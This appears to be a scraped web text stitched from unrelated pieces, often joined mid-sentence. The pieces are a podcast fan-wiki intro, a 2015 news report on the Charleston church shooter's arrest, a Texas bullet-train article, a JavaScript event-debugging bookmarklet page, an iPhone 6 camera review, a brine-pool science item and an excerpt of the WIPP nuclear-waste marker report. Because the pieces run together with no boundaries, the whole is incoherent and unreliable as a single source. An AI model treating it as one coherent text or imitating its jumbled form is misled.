Territorial disputes between the Federation and the Empire are not uncommon, but the strength of Admiral Yorke's words, and in particular the use of "enemies", will no doubt trigger considerable debate on the current state Federation-Empire relationship.Tell ‘Em Steve-Dave (TESD) is a weekly podcast from Kevin Smith’s SModcast Podcast Network. It features the uncensored comedy stylings of AMC’s Comic Book Men Bryan Johnson and Walt Flanagan, along with TruTvs Impractical Joker Brian Quinn (Q).
Bryan and Walt have been lifelong friends with Q coming along later as an employee of View Askew. TESD’s loyal fan-base, the ants, love listening to the back and forth of Bryan’s annoyance with the world, Walt’s love of playing devil’s advocate, and Q’s ability to be a human punching bag that is more than capable of punching back.
Other dynamics of the podcast are Walt’s many games he creates, Bryan’s segments on the world at large, and Q’s love for representing the ants with unique merch ideas.
Hop in on new episodes, binge on classic episodes, and let this Wiki help you with figuring out the landscape of TESD town and the characters that reside within it!
Content Requests:
If there is any material you would like see added to this site that pertains to the content it cultivates, please email [email protected] with your request. You can also request content that you do not know the source of, such as “What episode did Sunday Jeff mention the “Indoor League” that became a bit?”
Special thanks to /u/QuietlySmirking and the /r/tesdcares reddit board for being such a wealth of information.
Special thanks to WCChastain and BSJett on twitter for several episode featured images.
Special thanks to @PunkR0ckChemist and @nina_rad00 for their tireless efforts in constructing information to make this site possible.
Special thanks to @SModfan for making www.tesdbands.com the Anthill Forumand TESD Trivia
Infographic by @nebraskANTThe suspect in Wednesday's deadly shooting at a South Carolina church has been apprehended in Shelby, North Carolina, according to local outlets WLTX and WSOC.
Dylann Roof, 21, is wanted in the massacre of nine people during a Bible study session at Emanuel African Methodist Episcopal Church in Charleston Wednesday night.
Attorney General Loretta Lynch confirmed Thursday that the suspect has been captured.
“I’ve had to make statements like this too many times. Communities have had to endure tragedies like this too many times,” President Barack Obama said in a news conference. "There is something particularly heartbreaking about death happening in a place in which we seek solace."
CNN reports Roof was apprehended at a traffic stop in Shelby, a city located about 245 miles from Charleston, approximately 14 hours after the manhunt began.
#BREAKING: A source told Channel 9 the #CharlestonShooting suspect Dylann Roof is in custody in Shelby. We are cutting in on the air now. — WSOCTV (@wsoctv) June 18, 2015
#BREAKING: Law enforcement source tells News19 Charleston church shooting suspect arrested in Shelby, NC — News 19 WLTX (@WLTX) June 18, 2015
Roof is suspected of opening fire in the church around 9 p.m. Wednesday. Eight people were killed at the scene, while a ninth person later died in the hospital.
The church’s pastor, Rev. Clementa Pinckney, was among the victims. Pinckney, 41, was a state senator and a married father of two.
Witnesses said the gunman spent about an hour inside the church with victims before the shooting.
“I have to do it,” Roof reportedly said. “You rape our women and you’re taking over our country. And you have to go.”
Roof’s uncle, Carson Cowles, told Reuters that his nephew had received a.45-caliber pistol from his father for his 21st birthday in April. Authorities declined to disclose details about the weapon used in the massacre.
"Nobody in my family had seen anything like this coming," Cowles told Reuters before Roof was caught. "I said, if it is him, and when they catch him, he's got to pay for this."
Charleston Police Chief Greg Mullen called the mass shooting a hate crime during a news conference Thursday morning. The FBI and Department of Justice are investigating the shooting as a hate crime.
“The only reason someone could walk into a church and shoot people praying is out of hate,” Charleston Mayor Joe Riley said at a Thursday news conference. “It is the most dastardly act that one could possibly imagine.”
Roof’s Facebook profile photo shows him apparently wearing patches on his jacket that represent apartheid-era South Africa and the unrecognized, white-dominated state of Rhodesia.
John Mullins, a former classmate of Roof's at White Knoll High School, told the Daily Beast that Roof "made a lot of racist jokes" but people never really took them seriously. "You don't really think of it like that," Mullins said.
The White Knoll High School administration did not immediately return multiple requests for comment from The Huffington Post.
"We woke up today and the heart and soul of South Carolina was broken. So we have some grieving to do and we have some pain we have to go through. … Having said that, we are a strong and faithful state,” Gov. Nikki Haley (R) said in news conference after Roof was captured.
Emanuel is the oldest African Methodist Episcopal church in the South.
Community members, shocked by the brazen attack on one of the oldest African-American churches in the country, gathered early Thursday morning to pray and show support just blocks from where the shooting occurred.
People praying and singing for God's help in the middle of Calhoun St. in Charleston. 2 blocks from church shooting pic.twitter.com/Dhd9mFmq6v — Matt Alba (@mattalbaWCBD) June 18, 2015
Others expressed outrage, condemning the racially motivated nature of the shooting.
“People are afraid to talk about the real issue, which is race. People dislike other people simply by the color of their skin,” one man, who was not identified, told MSNBC. “We are communities that are trying to live and survive. Why do we have to live like this?"
Records show Roof was arrested in Columbia, South Carolina, on drug charges in February, and in April for trespassing.With a speed exceeding 200 miles per hour, a new company plans to transport people between Dallas and Houston in only 90 minutes by 2021. Houston and Dallas are the nation's fourth and fifth largest cities.
By using the Japanese N700 Takaido Shinkansen, known as the Japanese Bullet Train, planners say the 50-year perfect safety record and an annual delay of less than one minute make it a proven train to power the project, meeting and exceeding state and federal regulations on security and safety.
The company founded by private investors to build and operate the railroad, Texas Central Railway, has been in the planning stages of the project for several years and are in the final environmental impact statement phase, required by the National Environmental Policy Act.
Texas Central Railway owners plan to operate the railway on a for-profit basis. It would be the only large-scale private passenger railway in the nation.
If the project is approved by regulators, construction will begin as early as 2017. Texas Central Railway officials are confident the plans will succeed and have said the train will be in operation in only seven years, in 2021.
Both Dallas and Houston metroplexes are experiencing a surge in population, with 6 million residents each but expecting to double by 2030. Travel time to make the 240-mile trek by car between the two cities takes four hours.
The private company with offices in Houston, Dallas and Washington, DC said the cost for building the high-speed line will be $10 billion. A company spokesperson said they will not accept government funding. On the other hand, California's taxpayer-funded high-speed rail between Los Angeles and San Francisco, with a distance of 380 miles, will cost $68 billion.
Texas Central Railway officials said costs are low because the land is relatively flat between the two metroplexes and they planned to use existing right-of-ways near high-tension power lines between the two cities, instead of buying private land.
California has few right-of-ways and the land between Los Angeles and San Francisco is rugged.
Despite being privately-funded, Texas Central Railway expects to make use of the government's power of eminent domain, which has many rural landowners upset that their land could be taken from them. At a mandated scoping meeting in Houston, 200 citizens attended to voice their concerns about the plans. Kyle Workman, a resident from rural Leon County, said his family land would be "cut in half" by the railway. Susan Baest, from rural Waller County, said she and her neighbors were unaware of the project until recently and discovered some of the plans had the train running through their property. In an interview, she said "we were railroaded in the process."
Texas Central Railway said the double-track system for the bullet train only requires 80 feet in width, including security fencing. Unlike government plans, the railroad company said in a statement that land owners would retain mineral, oil and gas rights that make a large percentage of many rural land owners' income throughout Texas.
In a statement, Texas Central Railway said they will work closely with landowners and communities "on ways to safeguard their ability to farm, ranch, commute and generally go about their lives."
By purchasing Japanese high-speed trains, Texas Central Railway is working with Central Japan Railway Company, JR Central, that operates 323 high-speed passenger trains each day between Tokyo and Osaka.
Texas Central Railway said that JR Central's experience and technology will help the Texas trains exceed safety levels than those in use in the US today.
The Japanese train operator's experience has shown that a dedicated line of passenger traffic unimpeded by traffic crossings, as well as not sharing the lines with freight, will increase safety.
Texas Central Railway also expects to use JR Central's signaling, track work, communications technology, and operation and maintenance regimen.Events in Javascript are often seen as a bit of an enigma. This is odd given that Javascript is very much an event driven language, but it is typically down to their complex nature and difficulty to debug. To this end I've created Visual Event to help track events which are subscribed to DOM nodes.
Introduction
Visual Event is an open source Javascript bookmarklet which provides debugging information about events that have been attached to DOM elements. Visual Event shows:
Which elements have events attached to them
The type of events attached to an element
The code that will be run with the event is triggered
The source file and line number for where the attached function was defined (Webkit browsers and Opera only)
In addition to being useful for debugging your own code, Visual Event can be used as an educational tool, showing how many web-sites have been authored.
Visual Event is open source software (GPLv2) and a Git repo is hosted on GitHub for you to fork and modify as you wish!
Install
As Visual Event is a bookmarklet, installing and running it on any web-page is extremely simple:
Drag the "Visual Event" link on the right to your bookmark bar: Visual Event
Load a web-page which uses one of the supported Javascript libraries
Click "Visual Event" in your bookmark bar
View the event handlers which are attached to the document elements.
A demo of Visual Event that is automatically loaded is available. This demo uses DataTables to create a test page with a number of events attached to different elements.
How it works
It turns out that there is no standard method provided by the W3C recommended DOM interface to find out what event listeners are attached to a particular element. While this may appear to be an oversight, there was a proposal to include a property called eventListenerList to the level 3 DOM specification, but was unfortunately been removed in later drafts. As such we are forced to looked at the individual Javascript libraries, which typically maintain a cache of attached events (so they can later be removed and perform other useful abstractions).
As such, in order for Visual Event to show events, it must be able to parse the event information out of a Javascript library. Currently the following libraries are supported by Visual Event:
DOM 0 events
jQuery 1.2+
YUI 2
MooTools 1.2+
Prototype 1.6+
Glow
ExtJS 4.0.x
How to get involved
Visual Event is open source software and available under the GPL v2 license. Source control is done with Git, and the project has a page on GitHub. Any help with improvements and suggestions for Visual Event are very welcome indeed! If you hit a specific problem, then please open an issue on GitHub for the problem you are encountering, including a link to the page where the problem occurs. Forks and pull requests are also very much encouraged!
One area which may be of interest to you is how to add support for additional Javascript libraries. The key thing that is needed is access to the event cache that the library uses, since without that it is impossible to determine what nodes have events and the attached code.
The VisualEvent class has a static array called `VisualEvent.parsers` which is an array of functions - to add a new parser, just push your function onto this array. The function must return a Javascript array of objects with the following parameters:
[ { "node": {element}, // The DOM element that has attached events "listeners": [ // Array of attached events { "type": {string}, // The event type - click, change, keyup etc "func": {string}, // The code that will handle the event, from Function.toString() "removed": {boolean}, // If the event has been removed or not (typically will be false, but used if the library doesn't remove the event from its cache) "source": {string} // Library name and version that attached the event (e.g. "jQuery 1.7") },... ] },... ]
Building Visual Event
In order to run a local copy of Visual Event you must build it, since this process does file concatenation, which brings in the library parsers to the main file. The build process will also build the JSDoc documentation and compress the Javascript files (unless made with debug).
To build Visual Event, all you need is a system which will run bash scripts and enter the command `./build.sh debug` in your terminal. This will create a new directory in the "builds" directory with the correct loader and the build Visual Event directory (note the timestamp is used to help prevent caching issues for the bookmarklet, both during development and when deployed). The following is the usage for the build script:
Visual Event build script - usage:./build.sh [loader-dir] [debug] loader-dir - The web-address of the build files. Note that the build directory name is automatically appended. For example: localhost/VisualEvent/builds - default if no option is provided sprymedia.co.uk/VisualEvent/builds debug - Debug indicator. Will not compress the Javascript Example deploy build:./build.sh sprymedia.co.uk/VisualEvent/builds Example debug build:./build.sh localhost/VisualEvent/builds debug
The file `bookmarklet.html` is provided to build your own bookmarklet loader nice and easily. Typically you'll only need to modify the path for the bookmarklet. The link is updated on each keypress and you install it just as you would with any other bookmarklet :-).
Version historyIntroduction
Achieving the highest overall DxOMark Mobile score to date of 82 points each, the Apple iPhone 6 and 6 Plus tie in first place wresting the coveted top spot from Samsung S5 and Sony Xperia Z3 /Z2 each with 79 points.
Apple ’s new larger-size iOS 8 powered smartphones features some pretty compelling benefits including a new 8-Mpix sensor with on-chip phase detection pixels for faster autofocus and optical image stabilization on the 6 Plus.
From our industry-standard series of tests both in the lab and real world use, the iPhone 6 and 6 Plus perform very similarly. They have very good, generally reliable auto-exposure in a wide range of lighting conditions and they have both fast and accurate autofocus. Output from the 8-Mpix stills improves the high level of detail in both outdoor and indoor lighting. In low light, noise reduction is handled well with images revealing fine-grained luminance noise and little of the distracting color (chroma) noise.
The main differences between the 2 cameras come from Optical Image Stabilization (OIS) present in the iPhone 6 Plus. On one hand, the OIS helps to increase still images exposure time in low light, leading to better noise performance. Ghosting on HDR images also seems smaller with the iPhone 6 Plus, probably helped by the OIS that ensure a good registration between images. On the other hand, we have observed a video stabilization artifact, on the iPhone 6 Plus, most likely linked to the OIS control that lead to a video stabilization score slightly lower for the iPhone 6 Plus than for the iPhone 6.
Equipped with a new 5.5-inch Retina HD display with 1920×1080 pixel screen the 6 Plus has the slightly higher resolution panel at 401 ppi over the smaller 4.7-inch 1334 x 750 (326 ppi) display of the iPhone 6.
Both displays have stunning clarity, high contrast, excellent color and wide viewing angles, which is promising for viewing (and editing) stills and video on the go. Video capture doesn’t include 4K but both feature 1080p at 60 fps with slow-motion options at 120 fps and 240 fps. However, while the longer battery life of the larger iPhone 6 Plus looks more appealing that of the smaller iPhone 6 the debate has started about the larger model’s suitability for discreet street photography.
Photo
Pros:
Very good overall exposure.
Impressive autofocus both in low light and bright light.
Attractive color rendering.
Good detail preservation outdoors and indoors.
Good performance with flash: good exposure, stable white balance, good color rendering, low noise level and good detail preservation.
Cons:
Luminance noise visible in low light conditions (iPhone 6 only).
Color quantification, and moiré noticeable on few pictures
In addition iPhone 6 has some ghosting and fringing.
Video
Pros:
Autofocus is very fast, accurate and repeatable. Best ever tested by DxOMark Mobile team, at the time of testing.
Excellent stabilization in good lighting conditions.
Attractive color in wide range of lighting.
Fine-grained noise.
Cons:
Occasional exposure inaccuracies can be noticed
Some stabilization artifacts visible during video capture (iPhone 6 Plus)
Imaging results: tested and acclaimed
As both models share the same new type 8-Mpix CMOS sensor, complete with on-chip phase detect pixels the image quality is, perhaps unsurprisingly very similar indeed.
The overall autofocus performance of both models remains impressive compared with rival offerings: reliable and precise in both bright and low-light levels thanks to the phase detect pixels.
In our outdoor tests under bright light, both models are capable of delivering sharp detailed images right across the frame, and noise is very low even in large expanse of single tones, such as blue sky. The five element f2.2 Tessar type lens is a good performer but, as you might expect sharpness is greater in the center than the periphery.
The careful handling of noise reduction results in a good balance of detail and fine-grained monochromatic noise
Under a wide range of outdoor and indoor conditions the new models perform well. Beside this extremely good performance, we have noted some minor issues:
White balance and exposure inaccuracies were rare and images were well exposed with appealing colors; any errors occurring mainly in extreme low light conditions.
Color shading outdoors was negligible, however, under fluorescent artificial lighting some color shading was noticeable leading to green tint centrally and a complementary pink tone in the corners. The two models produced generally pleasing skin tones though under tungsten lighting a reddish cast was noticeable.
Skin tones look natural under D50 illuminant (left) but a reddish tint is visible under tungsten illuminant (right).
We have observed some ghosting, fringing and color quantification that were not present in previous versions of the iPhone, these new artifacts are the price to pay for an automatically triggered HDR mode that does improve exposure at the expense of these new artifacts.
Moiré is also noticeable at times, albeit mostly at 100% magnification (actual pixels). In low light (20 lux) fine detail remains visible although inevitably the presence of fine grained luminance noise in uniform areas is noticeable, but not excessively so.
If tempted to switch from artificial lighting to the iPhone 6 models’ built-in flash we found that while they perform equally well, at our usual shooting distance they exposed accurately in the centers of the frame and delivered pleasing colors, even when mixed with tungsten light, though the corners remained noticeably darker.
This isn’t unusual, though given the size and power output of the flash units.
Video: new class leader
While the iPhone 6 and 6 Plus lack 4K, which is found on some rivals, we found the quality of HD footage captured to be very impressive. Video quality can vary tremendously across various makes but the iPhone 6 models deliver clips with nicely rendered well-saturated color and generally accurate white-balance.
Noise is noticeable in low light levels but that’s to be expected. Images show some color speckled chroma type noise particularly in uniform areas but it’s low; most noise is in the form of fine-grained luminance type instead, which is less distracting and generally more acceptable. Exposure accuracy is very good, although under certain lighting conditions (exceptionally low light levels) it can be unreliable. As we’ve already noted the five-element lens used performs very well. Fringing remains very low and flare can be seen occasionally when bright light sources are included in the frame but otherwise the lens is very capable. Autofocus remains very fast and is both accurate and stable under all test conditions; bright and low light. Digital stabilization is used in both models and in good lighting video clips are well stabilized, even during our torturous walking test. However, it’s not a stretch to imagine that stabilization is less efficient well under low-light, and that’s the case here unfortunately when it’s needed most.
Iphone 6 and 6 Plus vs iPhone 5s
Phase detection autofocus is more than a tagline, it does deliver significant improvement in image and video quality. It is fast, smooth and repeatable.
Photo: Autofocus, texture and noise improvement.
The iPhone 5S was already an excellent performer but the iPhone 6 and 6 Plus provide some significant improvement on the still performance:
– Autofocus is faster, smoother, more accurate and more reliable
– Texture and noise score were improved significantly which means more details in every shooting conditions.
– The only drawback are some artifact caused by HDR (activated by default on the 6 and 6 Plus).
Video: the best smartphone autofocus system for video
Phase detection autofocus is more than a tagline, it does deliver significant improvement in video quality. It is fast, smooth and reapeable. The difference in score is huge for video evaluation where iPhone 5S autofocus was far behind the best device and the iPhone 6 / 6Plus autofocus is now clearly leading competition.
iPhone 6& 6 Plus vs Samsung S5
The iPhone 6 and 6Plus are very well rounded device without any strong weaknesses, so the great autofocus that is clearly leading today’s competition directly translates into a lead in the overall score. It is also worth noting that Apple is making great use of the 8 MPix with only a slight loss in texture score (details preservation) compared to competition with 13 Mpix, 20MPix or 36 MPix that don’t prevent them from taking the lead in overall score.
Photo:
– Overall, the 3 smartphones scores are very close but autofocus make the difference: with same technology (autofocus with phase detect pixels) the Apple devices provide a more reliable and faster system.
– As usual, color is one of the Apple’s smartphones strength
– The drawback is the texture preservation which struggle to compete with Samsung S5’s higher resolution images
Vidéo: similar score, different strength between Apple and Samsung
– The 3 cameras score the best 3 autofocus rating but there is a gap between Apple and Samsung systems (10 points of difference between the 2 scores)
Stay tuned…we will follow up with deeper analysis of these great devices!Scientists recently discovered a secret, otherworldly “brine pool” at the bottom of the Gulf of Mexico. But while it might look enticing and magical, you definitely don’t want to go scuba diving in it.
“It’s warm, but super-salty,” biogeochemist Scott Wankel told the science website Seeker, adding that its 65-degree temperature often lures poor, unsuspecting crabs and other bottom feeders looking for food. “When they fall in, they die and get pickled and preserved.”
The so-called “Jacuzzi of despair” — located 3,300 feet underwater — is a surprisingly pretty “living mat of bacteria and salt deposits.” The water contained within the brine pool’s perimeter is about four to five times saltier than the surrounding gulf, creating a killer solution that forms an “underwater cauldron of toxic chemicals,” including methane gas and hydrogen sulfide.
In fact, the only organisms that can withstand such noxious
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non-linguistically (through the design of the whole site), using physical form as a "natural language," encompasses Level I and portions (faces showing horror and sickness) of Level II. Put into words, it would communicate something like the following:
This place is a message...and part of a system of messages...pay attention to it!
Sending this message was impotant to us. We considered ourselves to be a powerful culture.
This place is not a place of honor...no highly esteemed deed is commemorated here...nothing valued is here.
What is here is dangerous and repulsive to us. This message is a warning about danger.
The danger is in a particular location...it increases toward a center...the center of danger is here...of a particular size and shape, and below us.
The danger is still present, in your time, as it was in ours.
The danger is to the body, and it can kill.
The form of the danger is an emanation of energy.
The danger is unleashed only if you substantially disturb this place physically. This place is best shunned and left uninhabited.
All physical site interventions and markings must be understood as communicating a message. It is not enough to know that this is a place of importance and danger...you must know that the place itself is a message, that it contains messages, and is part of a system of messages, and is a system with redundance.
Redundancy of message communication is important to message survivability. Redundancy should be achieved through: (a) a high frequency of message locations, permitting some to be lost; (b) making direct and physical links among message levels, that is "co-presentation" of messages; and (c) multiple and mutually reinforcing modes of communication. It is expected that the number of presentations of messages will decrease as the message complexity (or Level) increases. Thus, there will be many more presentations of Level II liquistic messages than of Level IV. While the system of marking should strongly embody the principles of redundancy, at the same time the methods of achieving redundancy should be carefully designed to maintain message clarity. Redundancy should not be achieved at the expense of clarity.
The method of site-marking must be very powerful to distinguish this place from all other types of places, so that the future must pay attention to this site. The place's physical structure should strongly suggest enhanced attention to itself and to its subelements. To achieve this, the volume of human effort used to make and mark this place must be understood as massive, emphasizing its importance to us. The site's constructions must be seen as an effort at the scale of a grand and committed culture, far beyond what a group or sect or organization could do. About scale: "Scale" refers to the perceived size relationship between a human and something (like a house or a chair or a site). When the size of a thing gets far larger than a person, changes in scale are not easily perceived or are experienced as irrelevant. Thus, there is little difference to a person at ground level whether an earthwork is 1 mile or 2 miles long. These distances are experienced as much the same. What we propose as a marking for this site is already at a scale where it could be somewhat smaller or larger with no loss of meaning. And further, if the design were to be replicated elsewhere, it could be (somewhat) scaled up or down with no loss of meaning.
Vertical masonry markers alone are simply not enough to accomplish our purposes. They are not large enough, nor frequent enough, nor sufficiently distinguishing from other sites already so marked; and their use elsewhere may well make their use here somewhat trivial and certainly ambguous. If only markers are used here, they will be seen as much like markers on other sites, which are generally sites of far less import, and also tend to be marked because they are honorific or commemorative, the opposite of the message we seek to send.
Use a system of markeings that utilizes the whole site as an enormous mark, and that includes: smaller markers; high points to climb from which to view the entire site; walls and places to be in that co-locate viewers with messaegs...an organized environment. Consider the possible retention of a currently existing structure for symbolic purposes only, as a decaying massiveness. As for use of existing-ste structures, if we assume no active institutional control, the only current above-ground site structure that might endure for a substantial portion of the 10,000 years would be the thick-walled concrete "hot" cell. The other buildings will decay, or more probably be stripped of their valuable building materials for re-use. The "hot" cell may be put to symbolic use by incorporating it into the site's design, as a mute artifact suggesting something "strong" that needed to be contained, although from its large door size, a thing that had to be easily accessible and thus was (probably) not treasure. And because the "hot" cell's openings are randomly placed, rather than symmetrical, it would tend not to be mistaken for an honorific or privileged structure. If the "hot" cell is kept, it should not be located in the geometric center of any open space, which would symbolically elevate its importance.
While this system of markings should represent an enormous effort and investment of resources on our part, the construction itself should be of materials of little value, and the workmanship should not bestow any value through the elegance of craft or artistry. Doing substantial work on materials of little value suggests that the place is not commemorative of phenomena highly valued by the culture that made it, but as marking something important yet quite unvalued...not a treasure, but its opposite...a location of highly devalued material ("dangerous garbage" or an "un-treasure").
The place should not suggest shelter, protection or nurture...it should suggest that it is not a place for dwelling, nor for farming or husbandry. This would be most strongly communicated if the place obviously tries to deny inhabitation and utilization. It might best be designed as a place difficult to be in, and to work in...both actually and symbolically. Given this, the center of the place should reject rather than embrace. Any attractive focus on/near that center would suggest welcome, and by extension, occupancy and utilization.
We believe there is no physical barrier we can devise that (some) future technology cannot breach, and any attempt to bar entry physically to the Keep can and will be breached (by cutting through it, going under it, or coming down from above). Thus, any "barrier" placed around the Keep can only be purely symbolic, and should be used to enclose it only in a spatial sense rather than to attempt a fortification or a security barrier.
As to the meaning of "center": physically to mark the WIPP site in any way makes it a different place from the surrounding desert, and creates a "figure" against a "ground." It makes a center in the desert.
For human beginnings, making a center ("here we are") is the first act of marking order (Cosmos) out of undifferentiation (Chaos). All further meanings of "center" derive from this original positive valence. The meanings of "center" have always been as a highly valued place or a gathering place...the holy of holies; the statue centered within the temple, itself centered within the settlement; the dancing ground; the sacred place as the physical and spiritual center of a people, etc. In this project, we want to invert this symbolic meaning, to suggest that the center is not a place of privilege, or honor, or value, but its opposite. In symbolic terms, we suggest that the largest portion of the Keep, its center, be left open, and few (if any) structures placed there, so that symbolically it is: uninhabitated, shunned, a void, a hole, a non-place.
As for the geometric center, placement of anything at dead-center of the Keep would suggest that it is of the utmost importance, occupying the place of greatest privilege. We do not believe there is any one thing that can or should play that role on this site. (For example, someone might suggest that the highest Level IV of information might be placed at the center. But because a Level IV message may be gibberish to some intruders, while a Level II message would be well understood, no level of message is more important than any other, and no particular message or level is important enough to occupy the most privileged location.)
Design of the entire site and its subelements should avoid those forms that humans regularly tend to use to represent the "ideal," "perfection," or "aspiration." Aspiring forms are sky-reaching verticals, the obelisk, for example. Ideal and perfect ones are the the perfect forms of symmetrical geometry (spheres, pyramids, hexagons) and of regular crystalline structures or polyhedrons. If such forms are used, we suggest their perfection be undermined through substantial and obviously meant "irregularity," as if its builders knew about the ideal and perfection, but asserted that this place is not about them. More appropriate types of forms to use are amorphic or jagged and horizontal, a deliberate shunning of the values of "perfection" pr "aspiration."
A major site-delivered message is that this place is ominous, not to be disturbed. This Level II message can be delivered both through site design and through "reading walls," discussed later. Message levels will probably be delivered in a sequence, but no level of message is more valuable than another. The design should incorporate this parity of levels. While Level IV information is certainly the most complete and detailed of all our communications at the site, there are certainly plausible future scenarios under which it will be of less value than a Level II message, or even of no value at all, even if seen. Thus, Level IV is more complex, but not a more valuable message to us (or future people), and its location should symbolically bestow no more value or privilege on it than on other message levels.
The design should provide a general sense of the magnitude, shape, and location of the original danger. Because there is no apparent danger at the site's surface, the design makes it clear that the danger is below and threatens to escape. The site design should also articulate that the dangerous material is bounded, has a substantial footprint that is of a certain shape. Going out from this on-surface imprint might be concentric bands designed to signify diminishing danger. It is not necessary to mark the Land Withdrawal boundary; it is a legal boundary that will be meaningless in a few centuries.
The enormity of the site's undertaking and its shape should be visible and comprehendible in its entirety, as a panorama. A panorama, the "seeing-all" from an altitude, is an ancient human metaphor for knowing, and seeking it is natural. Thus, provide elevated points for site viewing (mound, ziggurat, tower...all of which can be climbed for viewing).
The site-marking system should also function as a locator for multiple concepts of location and should: locate the site in relation to local centers of population of our time (which may contain archives as part of the information system); locate this site in relationship to other disposal sites in the world; locate the viewer ("you are here") on all three spatial axes in relationship to the entire site and its subelements, and to the hazard; locate the construction of this site in time; locate all on-site position of Level III and IV messages.
Presented [here] are several alternative designs for the entire site, followed by designs for some particular spaces on it. These designs are based on the Design Guidelines just presented and thus act as tests of the efficacy of the guidelines. Of the many designs developed and reviewed, these are also the design solutions most preferred by the team. The designs utilize archetypical images whose physical forms embody and communicate meaning. We have given them names, both for identification and as verbal images for each. They are:
Landscape of Thorns
Spike Field
Spikes Bursting Through Grid
Leaning Stone Spikes
Menacing Earthworks
Forbidding Blocks
Some designs use images of dangerous emanations and wounding of the body. Some are images of shunned land...land that is poisoned, destroyed, parched, uninhabitable, unusable. Some combine these images. All designs entirely cover or define at least the interment area, called here the Keep.
Shunned land...poisoned, destroyed, unusable:
"Black Hole": A masonry slab, either of black Basalt rock, or black-dyed concrete, is an image of an enormous black hole; an immense nothing; a void; land removed from use with nothing left behind; a useless place. It both looks uninhabitable and unfarmable, and it is, for it is exceedingly hot part of the year. Its blackness absorbs the desert's high sun-heat load and radiates it back. It is a massive effort to make a place that is fearful, ugly, and uncomfortable.
The heat of this black slab will generate substantial thermal movement. It should have thick expansion joints in a pattern that is irregular, like a crazy-quilt, like the cracks in parched land. And the surface of the slab should undulate so as to shed sand in patterns in the direction of the wind.
"Rubble Landscape": A square outer rim of the caliche layer of stone is dynamited and bulldozed into a crude square pile over the entire Keep. This makes a rubble-stone landscape at a level above the surrounding desert, an anomaly both topographic and in roughness of material. The outer rim from which rubble was pushed inward fills with sand, becoming a soft moat, probably with an anomalous pattern of vegetation. This all makes for an enormous landscape of large-stone rubble, one that is very inhospitable, being hard to walk on and difficult to bring machinery onto. It is a place that feels destroyed, rather than one that has been made.
Figure 4.3-3. Spike Field, view 1 (concept and art by Michael Brill).
Shapes that hurt the body and shapes that communicate danger: Danger seems to emanate from below, and out of the Keep in the form of stone spikes (in Spike Field, Spikes Bursting Through Grid, and Leaning Stone Spikes), concrete thorns (in Landscape of Thorns), and zig-zag earthworks emanating from the Keep (in Menacing Earthworks). The shapes suggest danger to the body...wounding forms, like thorns and spikes, even lightning. They seem active, in motion out and up, moving in various directions. They are irregular or non-repetitive in their shape, location and direction. They seem not controlled, somewhat chaotic. In the three designs that use "fields" of spikes or thorns, these spikes or thorns come out of, and define the Keep, so the whole area that is dangerous to drill down into is so marked.
Figure 4.3-4. Spike Field, view 2 (concept by Michael Brill and art by Safdar Abidi).
Figure 4.3-5. Spikes Bursting Through Grid, view 1 (concept and art by Michael Brill).
Figure 4.3-6. Spikes Bursting Through Grid, view 2 (concept by Michael Brill and art by Safdar Abidi).
Figure 4.3-1. Landscape of Thorns (concept by Michael Brill and art by Safdar Abidi).
Figure 4.3-8. Menacing Earthworks, view 1 (concept and art by Michael Brill). [option recommended by Team A]
"Menacing Earthworks": Immense lightning-shaped earthworks radiating out of an open-centered Keep. It is very powerful when seen both from the air and from the vantage points on the tops of the four highest earthworks, the ones just off the corners of the square Keep. Walking through it, at ground level, the massive earthworks crowd in on you, dwarfing you, cutting off your sight to the horizon, a loss of connection to any sense of place.
Figure 4.3-9. Menacing Earthworks, view 2 (concept by Michael Brill and art by Safdar Abidi). [option recommended by Team A]
The large expanse of center is left open, with only two elements in it: the WIPP's existing thick-walled concrete hot cell, left to ruin; a walk-on world map showing locations of all the repositories of radioactive waste on earth and a 50-foot wide map of New Mexico with the WIPP site in the geometric center of the Keep. The entire map is domed in order to shed sand blown by the wind. Underneath the slightly domed map a Level 4 room is buried. Four other rooms are located under the four tallest earthworks. Reading walls are strewn between the earthworks, encountered before the Keep is entered.
Figure 4.5-7. A perspectve view of the repository for Level III messages showing waste panels, shafts, marker features, and the reader's present location on the surface (arrow).
Figure 4.3-14. Forbidding Blocks, view 1 (concept and art by Michael Brill).
"Forbidding Blocks": Stone from the outer rim of an enormous square is dynamited and then cast into large concrete/stone blocks, dyed black. Each is about 25 feet on a side. They are deliberately irregular and distorted cubes. The cubic blocks are set in a grid, defining a square, with 5-foot wide "streets" running both ways. You can even get "in" it, but the streets lead nowhere, and they are too narrow to live in, farm in, or even meet in. It is a massive effort to deny use. At certain seasons it is very, very hot inside because of the black masonry's absorption of the desert's high sun-heat load. It is an ordered place, but crude in form, forbidding, and uncomfortable.
Figure 4.3-15. Forbidding Blocks, view 2 (concept by Michael Brill and art by Safdar Abidi).
Some blocks can be of granite, or faced with it, and carry inscriptions. Their closeness to other blocks reduces their exposure and increases their durability.
Note our use of irregular geometries and denial of craftsmanship. None of our designs uses any of the regular or "ideal" geometric forms, and only crude craftsmanship is sought, except for the precision of engraved messages. Why? the geometry of ideal forms, like squares and cubes, circles and spheres, triangles and pyramids is a fundamental human invention, a seeking of perfection in an imperfect world. Historically, people have used these ideal forms in places that embody their aspirations and ideals. In our designs, there is much iregularity both of forms and in their locations and directions, yet done by people with obvious knowledge of pure geometry. This shows as understanding of the ideal, but at the same time a deliberate shunning of it...suggesting we do not value this place, that it is not one that embodies our ideals.
The same is true of craft and workmanship. Historically, people use good workmanship to bestow value on things they value. In most of our schemes, the structures that cover or define the Keep's "cover" are made crudely, or of materials that prohibit workmanship (such as rubble, or earthworks, or a large slab). At the same time, we make an enormous investment of labor in these rude materials. It speaks of a massive investment, but one not tinged with pride or honored with value-through-workmanship.
About durability: All the designs, except one, have a high probability of lasting 10,000 years. This is because of their conformity with the guidelines for materials durability in Section 4.4.
The concrete structures of the Landscape of Thorns have projecting, cantilevered elements that will have tension in their upper surfaces, causing minute cracks. These cracks will accelereate local decay. Until new materials are available, or new methods for tensioning concrete members [are found], we cannot "guarantee" the durability of this design. However, we present it here because of its strong emotive character.
5.2 The enormity of marking the WIPP site (FN)
If the WIPP is ever operational, the site may pose a greater hazard than is officially ackowledged. Yet the problems involved in marking the site to deter inadvertent intrusion for the next 10,000 years are enormous. Even if knowledge exists that would allow translation of the message on the markers, there might be little motivation to solicit such knowledge. Pictorial messages, however, are unreliable and may even convey the opposite of what is intended.
